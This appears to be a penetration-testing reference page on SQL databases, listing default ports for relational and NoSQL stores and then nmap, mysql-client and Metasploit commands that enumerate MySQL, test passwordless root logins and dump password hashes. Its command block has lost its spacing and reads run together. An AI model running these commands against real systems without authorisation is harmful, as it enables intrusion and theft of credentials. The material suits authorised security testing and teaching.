Structured Query Language (SQL) is a standardized programming language that is used to manage relational databases and perform various operations on the data in them.
Relational databases default ports
Database
Port(s)
Doc
MaxDB
7210
MySQL
3306
Oracle DB
1521, 1830
PostgreSQL
5432
SQL Server (MSSQL)
1433, 1434
NoSQL databases and other data stores default ports
Database
Port(s)
Doc
Cassandra
7000, 7001, 9042
CouchDB
5984
Elasticsearch
9200, 9300
MongoDB
27017, 27018, 27019, 28017
Neo4J
7473, 7474
Redis
6379
Enum
# Default scannmap $IP -sV-p3306# Empty password scriptnmap $IP -sV-p3306--script=mysql-empty-password# Get Mysql infonmap $IP -sV-p3306--script=mysql-info# Get mysql usersnmap $IP -sV-p3306--script=mysql-users--script-args="mysqluser='root',mysqlpass=''"# Get mysql databasesnmap $IP -sV-p3306--script=mysql-databases--script-args="mysqluser='root',mysqlpass=''"# Get mysql variablesnmap $IP -sV-p3306--script=mysql-variables--script-args="mysqluser='root',mysqlpass=''"# mysql auditnmap $IP -sV-p3306--script=mysql-audit--script-args="mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'"# Try to connect directly without a passwordmysql-h $IP -uroot# Run querynmap $IP -sV-p3306--script=mysql-query--script-args="query='select count(*) from books.authors;',mysqluser='root',mysqlpass=''"# Metasploit waymsfconsolesetdir_list/usr/share/metasploit-framework/data/wordlists/directory.txtsetgrhosts $IPsetverbosefalserun## Hashdumpmsfconsoleuseauxiliary/scanner/mysql/mysql_hashdumpsetgrhosts $IPsetusernamerootsetpassword""run